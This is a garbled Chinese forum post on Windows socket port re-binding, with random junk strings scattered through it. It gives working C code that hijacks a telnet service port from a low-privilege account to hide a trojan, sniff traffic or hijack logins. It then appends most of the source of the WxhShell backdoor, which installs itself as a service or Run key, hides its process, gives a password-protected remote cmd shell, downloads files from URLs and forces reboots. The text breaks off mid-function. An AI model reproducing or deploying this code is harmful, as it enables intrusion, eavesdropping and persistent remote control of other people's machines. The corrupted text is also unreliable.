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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &tZG
@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `xc^_781\ 7]BW[~77 saddr.sin_family = AF_INET; `- \/$M9s= R'dSbn saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'r@:Cz3e*I qU,c~C=Qf bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _6k*'aT~FK 2~*Ez!.3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X<MO7I #k$)i[aI-
这意味着什么?意味着可以进行如下的攻击: X/;p-KX 6AP~]e 8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N,J9Wu ZJ\ * FeQ*`r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -@F fU2 (Si=m;g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p:OPw D+ 2qHf' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 jV/CQM5a+ >;#=gM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \NGC$p n J j=; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WA$>pG5s ]u-02g 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z**hD2R! pCu!l#J #include 8*c3| #include 6ATtW+sN ] #include @<@SMK) #include #-Z8Z
i"44 DWORD WINAPI ClientThread(LPVOID lpParam); kJAn4I.l int main() ycJg%]F*5 { G\;}w WORD wVersionRequested; '&FjW-`"
G DWORD ret; 7Mx6 WSADATA wsaData; +"ueq BOOL val; ,zQOZ'^ SOCKADDR_IN saddr; M('d-Q{B7L SOCKADDR_IN scaddr; y#<MVH int err; H2r8,|XL SOCKET s; zD)pF1,7:8 SOCKET sc; DOQc"+ int caddsize; 2`a
q**} HANDLE mt; $ C0TD7= DWORD tid; =1oNZKBP wVersionRequested = MAKEWORD( 2, 2 ); `T2 <<< err = WSAStartup( wVersionRequested, &wsaData ); -.<k~71 if ( err != 0 ) { f&x0@Q/eON printf("error!WSAStartup failed!\n"); W0zbxJKjd return -1; t0#[#I1+ } 8seBT;S saddr.sin_family = AF_INET; WV"jH9"[ 6] z}#" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }#v{`Sn%^C
,&YTj> saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gr-x|wK saddr.sin_port = htons(23); y\F=ui if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =6=_/q2 { zTD@ printf("error!socket failed!\n"); <8#ObdY! return -1; xAwf49N~ } [`Cq\mI-W val = TRUE; 6e25V4e?I //SO_REUSEADDR选项就是可以实现端口重绑定的 eV6o3u:9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [WB{T3j { 33~qgK1> printf("error!setsockopt failed!\n"); S)A'Y]2X return -1; (vJ2z
=z } R[1BfZ 6s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >?YNW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O4No0xeWo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [B0K BwJuYH7QJ$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) np WEop> { A%vsno! ret=GetLastError(); AaN"7.Z/ printf("error!bind failed!\n"); g6sjc,` return -1; PK&2h,Cu+ } 0ZC,BS`D^ listen(s,2); i_F$&?) while(1) 1Xyp/X2rI { }t>q9bZ9z caddsize = sizeof(scaddr); y1BgK>R //接受连接请求 |*,jU;NI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nSY-?&l6P if(sc!=INVALID_SOCKET) ~E=\t9r { -U>7
H`5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (tl}q3U if(mt==NULL) rwpgBl { .h;Se printf("Thread Creat Failed!\n"); >&H~nGP. break; !U BVPR* } 5]7&IDA]]9 } 1]\TI7/n CloseHandle(mt); b0a}ME&1 } MFg'YA2/ closesocket(s); C%ytkzG_ WSACleanup(); V+w u return 0; hkW{88 } PM4>ThQ DWORD WINAPI ClientThread(LPVOID lpParam) ^p_u.P { HPa|uDVv SOCKET ss = (SOCKET)lpParam; 9DEh*%q SOCKET sc; .yVnw^gu unsigned char buf[4096]; 2W3W/> 2h SOCKADDR_IN saddr; ?An,-N-ezf long num; [U_[</L7 DWORD val; 0k?Sq#7q DWORD ret; k_3j
' //如果是隐藏端口应用的话,可以在此处加一些判断 qa}>i&uO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 CtT~0Y| saddr.sin_family = AF_INET; ;o$;Z4:.D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MB*u-N0v saddr.sin_port = htons(23); KtTza5aF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HR3_@^<7 { bZ#X9fT printf("error!socket failed!\n"); 'Kis hXOn] return -1; aed+C:N } JJl7JwSTW val = 100; 2q%K)h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :HW>9nD. { WF/l7u#4i ret = GetLastError(); i<u9:W return -1; y3yvZD } 7<yp"5><) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {(\(m/!Z { PZ34 *q ret = GetLastError(); +AK:(r return -1; /84bv= } fr#Qz{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yL"i
{ WOO%YU = printf("error!socket connect failed!\n"); +8UdvMN closesocket(sc); KzkgWMM closesocket(ss); g 2'x#%ET return -1; e~Hr(O+;e6 } GOW"o"S while(1) p`GWhI? { ek[kq[U9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :l~E E! //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~|R[O^9B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5.k}{{+ num = recv(ss,buf,4096,0); >38
Lt\ if(num>0) G&o64W;-s send(sc,buf,num,0); z{6YC~ else if(num==0) 2cjEex:& break; Dq`~XS* num = recv(sc,buf,4096,0); <bdyAUeFw if(num>0) 9d"5wx send(ss,buf,num,0); l^,qO3ES else if(num==0) ZT9IMihV break; Qcgu`]7} } ]xR4->eix closesocket(ss); H'h#wV`( closesocket(sc); Q>IH``1*e return 0 ; ih!~G5Xi9i }
1#D<ZN 01nsdZ- -]QguZE ========================================================== MW]8;`|jC Xb+3Xn0}&8 下边附上一个代码,,WXhSHELL ja75c~RUw 8&T,LNZoY ========================================================== 6To:T[ z# -gSj>b7T #include "stdafx.h" [tm[,VfA^ "=ElCaP} #include <stdio.h> sJ7sjrEp1 #include <string.h> </yo9. #include <windows.h> RH=$h! 5 #include <winsock2.h> O3+)qb!X #include <winsvc.h> L *{QjH #include <urlmon.h> b8cVnP i7f%^7! #pragma comment (lib, "Ws2_32.lib") ~BQV]BJ7 #pragma comment (lib, "urlmon.lib") Bhx<g&|j _vIO!*h0 #define MAX_USER 100 // 最大客户端连接数 fkBLrw #define BUF_SOCK 200 // sock buffer k<, u0 #define KEY_BUFF 255 // 输入 buffer &GU@8 /p}{#DLB #define REBOOT 0 // 重启 L"^.0*X/d #define SHUTDOWN 1 // 关机 ~T&%
VvI ~B*~'I9b* #define DEF_PORT 5000 // 监听端口 *N'hA5.z .ujj:> #define REG_LEN 16 // 注册表键长度 'g]=.K+@} #define SVC_LEN 80 // NT服务名长度 mo*'"/ `+^sW#ki // 从dll定义API
{WKOJG+. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I<xy?{s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -s89)lUkS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CfY7<o1> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ym:{Mm=ud s<d!+< // wxhshell配置信息 KJ pj struct WSCFG { NGSS: int ws_port; // 监听端口 PnJ*Zea char ws_passstr[REG_LEN]; // 口令 mb~./.5F int ws_autoins; // 安装标记, 1=yes 0=no enPLaiJ'|q char ws_regname[REG_LEN]; // 注册表键名 ,,}sK char ws_svcname[REG_LEN]; // 服务名 mw Z'=H char ws_svcdisp[SVC_LEN]; // 服务显示名 1wbTqc char ws_svcdesc[SVC_LEN]; // 服务描述信息 ($:y\,5(9I char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J&
)#G@fRX int ws_downexe; // 下载执行标记, 1=yes 0=no
Db,= 2e char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" XW^8A77H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wk,6) jS=} i[8NO$tN1) }; $kIo4$.Y$ &8wa ih(| // default Wxhshell configuration $mD>rx struct WSCFG wscfg={DEF_PORT, ret0z| "xuhuanlingzhe", 9,w}Xe=C 1, H):-!?: "Wxhshell", QS5H>5M) "Wxhshell", 1GUqT 9) "WxhShell Service", mw ?{LT "Wrsky Windows CmdShell Service", D-~G|8g "Please Input Your Password: ", 2H3(HZv 1, K Ka c6Zj " http://www.wrsky.com/wxhshell.exe", Gxo#
! "Wxhshell.exe" n+X1AOE[L }; fMyE}z |@+8]dy:l // 消息定义模块 [qW<D/@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }}s8D>;G~ char *msg_ws_prompt="\n\r? for help\n\r#>"; {f&NStiB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0Ux<16# char *msg_ws_ext="\n\rExit."; 4uX,uEa char *msg_ws_end="\n\rQuit."; {vLTeIxf.G char *msg_ws_boot="\n\rReboot..."; rv`2*B char *msg_ws_poff="\n\rShutdown..."; (lieiye^ char *msg_ws_down="\n\rSave to "; mZ~mf->% 6hLNJ char *msg_ws_err="\n\rErr!"; )>?! xx_` char *msg_ws_ok="\n\rOK!"; -`Da`ml db<q-u char ExeFile[MAX_PATH]; (eki X*y int nUser = 0; _IC,9bbg HANDLE handles[MAX_USER]; 'xQna+ %h int OsIsNt; K/Sq2: sE-x"c SERVICE_STATUS serviceStatus; Is<x31R SERVICE_STATUS_HANDLE hServiceStatusHandle; v3?kFd7%H~ hTDV!B-_( // 函数声明 m**0rpA int Install(void); gH5CB%) int Uninstall(void); @l)\?IEF@f int DownloadFile(char *sURL, SOCKET wsh); NP$e-" 1 int Boot(int flag); *&(2`#C; void HideProc(void); @X
K> int GetOsVer(void); +g)_4fV0| int Wxhshell(SOCKET wsl); N&?T0Ge; void TalkWithClient(void *cs); lt{lHat1 int CmdShell(SOCKET sock); `i=JjgG@ int StartFromService(void); h -Tsi:%b int StartWxhshell(LPSTR lpCmdLine); =d}gv6v2S *Yj~]E0`1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *1\z^4=a] VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1V-=$Q3
V7 z~BD(FDI // 数据结构和表定义 k& WS$R?u SERVICE_TABLE_ENTRY DispatchTable[] = ]cn/(U` { Fq vQk {wscfg.ws_svcname, NTServiceMain}, ||yXp2 {NULL, NULL} R:]/{b4Uq }; *Kp}B}}J KbXbT // 自我安装 -,FK{[h]ka int Install(void) 6 #-6Bh)>4 { u)tHOV>& char svExeFile[MAX_PATH]; N[0
xqQ HKEY key; a3Z:C!|O' strcpy(svExeFile,ExeFile); TNyK@~#m f#'8"ff*1 // 如果是win9x系统,修改注册表设为自启动 AGl|>f) if(!OsIsNt) { zhuyePn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i/5y^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g@<sU0B RegCloseKey(key); wEBtre7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }A^1q5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7fap* RegCloseKey(key); j|&{e91,? return 0; u+I3IdU3 } wy,Jw3 } wCV>F- } 5dg-d\6S else { UN-T^ B jH ~Ml2 // 如果是NT以上系统,安装为系统服务 =Dh$yC-Zr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M4zX*&w.T if (schSCManager!=0) 44'=;/ { Ko1AaX(I'+ SC_HANDLE schService = CreateService Oyi;bb<# ( 0q:(-z\S4 schSCManager, t9?R/:B% wscfg.ws_svcname, nu#aa#ex> wscfg.ws_svcdisp, <P+G7!KZ& SERVICE_ALL_ACCESS, {z.[tvE8h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f@wsSm SERVICE_AUTO_START, =@Q#dDnFu% SERVICE_ERROR_NORMAL, ,Adus M svExeFile, }%-UL{3% NULL, ]cx" NULL, vh<]aiY NULL, //#xK D NULL, fKPiRlLS NULL I(z>)S'7r ); 9=Y,["br$_ if (schService!=0) A Oby*c { (iHf9*i CV CloseServiceHandle(schService); B@ZqJw9J[ CloseServiceHandle(schSCManager); @o}1n?w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `V]egdO strcat(svExeFile,wscfg.ws_svcname); u&1j>`~qJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bHhC56[M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,"P5D&,_ RegCloseKey(key); .'l.7t return 0; % MfGVx}nG } 1bV 2 } &eThH,w$2 CloseServiceHandle(schSCManager); w^ixMn~nLF } fl} rz } E9yFREvQc 6'RZ return 1; Z-N-9E } * \=2KIF' yf
`.% // 自我卸载 3S[w' int Uninstall(void) Fv?R\`52u { T^/Gj|N* HKEY key; z1Bj_u{ z5x,fQw6O if(!OsIsNt) { LVPt*S= / if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S/@dkHI' RegDeleteValue(key,wscfg.ws_regname); B'G*y2UnG RegCloseKey(key); 1VhoJGH;C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L eG7x7n RegDeleteValue(key,wscfg.ws_regname); r[.zLXgK RegCloseKey(key); N oX_? return 0; m&Y;/kr } 8CHb~m@^$ } B(4:_j\2 } Z]mM else { /E`l:&89) 3e!3.$4M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nw9-pQ if (schSCManager!=0) |@o]X?^ { 6Nfof SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JLy)}8I if (schService!=0) w5dIk]T { d8Q_6(Ar| if(DeleteService(schService)!=0) { c8k6(#\ CloseServiceHandle(schService); &+E'1h10 CloseServiceHandle(schSCManager); K#9(|2J% return 0; AmT|%j&3 } H j5WJ{p. CloseServiceHandle(schService); 4
|:Q1 } Vu|Br CloseServiceHandle(schSCManager); -V;0_Nx7p } )8 "EI-/. } 68&6J's; Pe+ 8~0o=R return 1; !1a|5
xrn } b'Fx), (ybtXoQs // 从指定url下载文件 br34Eh int DownloadFile(char *sURL, SOCKET wsh) 2FZ0c/[& { Sy+]SeF& HRESULT hr; Uy$U8b-ov char seps[]= "/"; Y{Y;EY4 char *token; ps!5HZ2: char *file; U:mq7Rd8 char myURL[MAX_PATH]; PBxK>a char myFILE[MAX_PATH]; Q.pEUDq/ b*'=W"%\ strcpy(myURL,sURL); !LHzY( token=strtok(myURL,seps); 0@sr
NuW while(token!=NULL) V7B=+(xK { fG8}= xH_& file=token; #.\,y>` token=strtok(NULL,seps); WTV3p,;6a } c-s`>m 4! Oa4 GetCurrentDirectory(MAX_PATH,myFILE); 1c<CEq:?e% strcat(myFILE, "\\"); 66^1&D" strcat(myFILE, file); in=k:j,U0 send(wsh,myFILE,strlen(myFILE),0); Ac5o K send(wsh,"...",3,0); O?j98H
Sya hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CfkNy[}= if(hr==S_OK) eB<V%,%N# return 0; !OuTXa,IH else s%L"
c return 1; RAg|V:/M n3l"L|W^(< } ~`G;=ITo I |<+'G // 系统电源模块 9z|>roNe int Boot(int flag) L6[rvM|9_ { L5zG0mC8 HANDLE hToken; DK@w^ZW6JA TOKEN_PRIVILEGES tkp; e~t}z_>F :"<B@Z if(OsIsNt) { 6PzN>+t^y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gq/ePSa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,IT)zCpaBP tkp.PrivilegeCount = 1; }> !"SU:d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U<gUX07 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -KIVnV=&m if(flag==REBOOT) { }GoOE=rhY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U2[3S\@ return 0; (jo(bbpj } 86^ZYh else { ]df9'\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j?f,~Y<k return 0; g6@N PQ } ^O$[Y9~*
} +]S;U&vQ else { H4y1Hpa, if(flag==REBOOT) { HjUw[Yz+6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I*vj26qvg return 0; _} X`t8L h } vHI"C % else { w371.84 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *xv/b= return 0; XC$+ `? } Y&05
*b" } ](9{}DHV G7/?hky 0. return 1; XftJ= * } i"sYf9, N}l]Ilm$34 // win9x进程隐藏模块 3Q*RR"3 void HideProc(void) uZ0 $s$ { S\v&{ St3(1mApl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WkDn if ( hKernel != NULL ) tRUsZl { 6t7;}t]t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >+;
b> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4M0v1`k FreeLibrary(hKernel); (!>g8=`" } Pv2nV!X6 >Rki[SNb-b return; ,$6MM6W;-F } JIY ^N9_ hyvV%z Z // 获取操作系统版本 ,I2reG int GetOsVer(void) jC/JiI { (;2J(GZ:$U OSVERSIONINFO winfo; { ck winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :LIKp; GetVersionEx(&winfo); l6`d48U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2;?wN`}5g= return 1; 3ciVjH>i else "mP*}VF return 0; p=`x } hml\^I8Q>F i3kI2\bd/ // 客户端句柄模块 ~gi( 1<# int Wxhshell(SOCKET wsl) L$TKO,T { p\]LEP\z, SOCKET wsh; h4B#T'b struct sockaddr_in client; TNFm7}= DWORD myID; L$u&~"z- { Sliy' while(nUser<MAX_USER) aD/,c1 { l LD)i J1 int nSize=sizeof(client); ANpY qV wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zs$RKJ7 if(wsh==INVALID_SOCKET) return 1; ^$Eiz. =iK6/ y` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GaK_9Eg-2 if(handles[nUser]==0) E]eqvT NH closesocket(wsh); %*Z2Gef?H else 0Li'a{n 2 nUser++; ;DgX"Uzm } 9CU6o:'fW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )V$! }rMpp[ return 0; dI0>m:RBz } hA,rSq XFf+efh // 关闭 socket 0[!gk]p void CloseIt(SOCKET wsh) lRATrp#T { ^SSOh# closesocket(wsh); HH~
du nUser--; @#--dOWYR ExitThread(0); agxSb^ 8tF } hzPB~obC
jQ\
MB // 客户端请求句柄 zS"zb void TalkWithClient(void *cs) b{|/J <Fe { Lc: SqF p:Ld)U * SOCKET wsh=(SOCKET)cs; =|5bhwU] char pwd[SVC_LEN]; q(ET)xCeD char cmd[KEY_BUFF]; pffw5Tc char chr[1]; ZLio8 int i,j; MoR-8vnJ b} U&bFl while (nUser < MAX_USER) { 9Or4`JOO )Q if(wscfg.ws_passstr) { m2<
* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); soVZz3F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); teS0F //ZeroMemory(pwd,KEY_BUFF); h, 6S$,UI i=0; R
EH&kcn while(i<SVC_LEN) { y[@j0xlO BM$tywC // 设置超时 F']%q 0 fd_set FdRead; U;Y}2 struct timeval TimeOut; aj'8;E+ FD_ZERO(&FdRead); rIWN!@.J FD_SET(wsh,&FdRead); h`;F<PFW TimeOut.tv_sec=8; yJ`1},^ TimeOut.tv_usec=0; j!_^5d#d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =|V]8 tN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f!8m N9h@1'> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |&RX>UW$W pwd =chr[0]; G8DIig< if(chr[0]==0xd || chr[0]==0xa) { s1vYZ pwd=0; NG W{Z~l break; "JLhOTPaHf } |VR5Q(d i++; E?h2e~ ,] } GGQ(|?w =^AZx)Kwd // 如果是非法用户,关闭 socket +?txGHQq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GKx,6E#JM } @P5@&G VJtTbt;> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <9.7 gwzE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D&6Qk&> I
3,e)Z while(1) { DoB3_=yJ+ @C [|'[xQ ZeroMemory(cmd,KEY_BUFF); ,~?A.
5 iK:qPrk- // 自动支持客户端 telnet标准 -L50kk>h j=0; P<JkRX while(j<KEY_BUFF) { e}yu<~v_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hRZS6" # cmd[j]=chr[0]; j{-7Pf8A if(chr[0]==0xa || chr[0]==0xd) { ;OCI.S8 cmd[j]=0; Odjd`DD1 break; M"l rwun^ } oUKbzr/C j++; 0?;Hmq3 } [T#a1! 4e\`zy // 下载文件 Fl3r!a!P, if(strstr(cmd,"http://")) { d47:2Zj send(wsh,msg_ws_down,strlen(msg_ws_down),0); '2J6%Gg if(DownloadFile(cmd,wsh)) QV7c9)<]'} send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@` E.4 else _@;3$eB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '{k Nbx51 } YeVc,B' else { ~
2oP,
:ItW| switch(cmd[0]) { 3[i!2iL. G$`4.,g // 帮助 uW'4
Kt case '?': { QuRg(K%: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~dr1Qi#j? break; GfPz^F=ie. } N4DDH^h // 安装 lR2;g:&H case 'i': { L[r0UXYLV if(Install()) 7b%Cl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2K6 else 4_0/]:~5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vg~
kpgB break; }w^ T9OC } ZBq*<VtV // 卸载 )j|y.[ case 'r': { J9c3d~YW if(Uninstall()) LtWU"42 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$2zr4 else ^o\p|f>f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9v,8OK) break; m`q>_* } \.|A,G= // 显示 wxhshell 所在路径 CF92AY case 'p': { ^&/&I9z char svExeFile[MAX_PATH]; 9<c4y4#y strcpy(svExeFile,"\n\r"); `v2l1CQ:^ strcat(svExeFile,ExeFile); Ngc+< send(wsh,svExeFile,strlen(svExeFile),0); w$:)wyR- break; =usDI<3r } R
eu
J=|F // 重启 |&']ms5J case 'b': { )t|Q7$v1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '#::ba[9w if(Boot(REBOOT)) 5GL+j%7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); xxcDd_z else { }V,M0b> closesocket(wsh); HMd )64( ExitThread(0); "Am0.c/ } cB=u;$k@* break; 3CPOZZ } Ic!83- // 关机 2]*~1d case 'd': { rh&Eu qE% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L;7mt
4H if(Boot(SHUTDOWN)) <OfzE5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); c7!`d.{90 else { kzpbs?<; closesocket(wsh);
ts!aKx ExitThread(0); <qY>d,+E' } EXzNehO~e break; lG#&1 } lA
0_I"b2Y // 获取shell &'\+Z case 's': { gt (nZ CmdShell(wsh); gF5EtdN?| closesocket(wsh); V46[whL%r ExitThread(0); !sQ8,l0h break; EZRZ)h } K -1~K // 退出 \ySc uT case 'x': { n(S-F g send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d'fpaLV CloseIt(wsh); Q9zpX{JT break; %,D%Q~ } H,` XCG // 离开 `~TGVa`D case 'q': { k T>}(G|| send(wsh,msg_ws_end,strlen(msg_ws_end),0); :E`l(sI7J} closesocket(wsh); F|{?GV%hF WSACleanup(); 5B/\vLHg4 exit(1); "0)G|pZI break; pT$AdvI] } &uW.V+3 } 3h4"Rv=, } )!-'S H e91d~ // 提示信息 .]c:Zt}P if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Utp\}0GZY } )/N! {`.9 } (1]@ fCd + @Qozud\? return; {_}"USS } J"|$V# 8}T3Fig,q // shell模块句柄 )E2Lf] int CmdShell(SOCKET sock) &r!>2$B\ { (oEA)yc| STARTUPINFO si;
(9|K}IM: ZeroMemory(&si,sizeof(si)); boovCW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S@($c' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yo6IY PROCESS_INFORMATION ProcessInfo; 7}.(EZ0 char cmdline[]="cmd"; YWFHiB7x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7z&u92dJI return 0; `" Pd$jW } "ZW*O{ SX;IUvVE5 // 自身启动模式 y-k-E/V} int StartFromService(void) iO`f{?b { bYH_U4b typedef struct -v@^6bQVp { k"zHrn"$ DWORD ExitStatus; YaNVpLA DWORD PebBaseAddress; <qx-%6 DWORD AffinityMask; C ( ;7*] DWORD BasePriority; Big-)7?
ULONG UniqueProcessId; J?$uNlI ULONG InheritedFromUniqueProcessId; 42LV>X#i } PROCESS_BASIC_INFORMATION; 75i)$}_1B bNgcZ
V. PROCNTQSIP NtQueryInformationProcess; 9z}kkYk
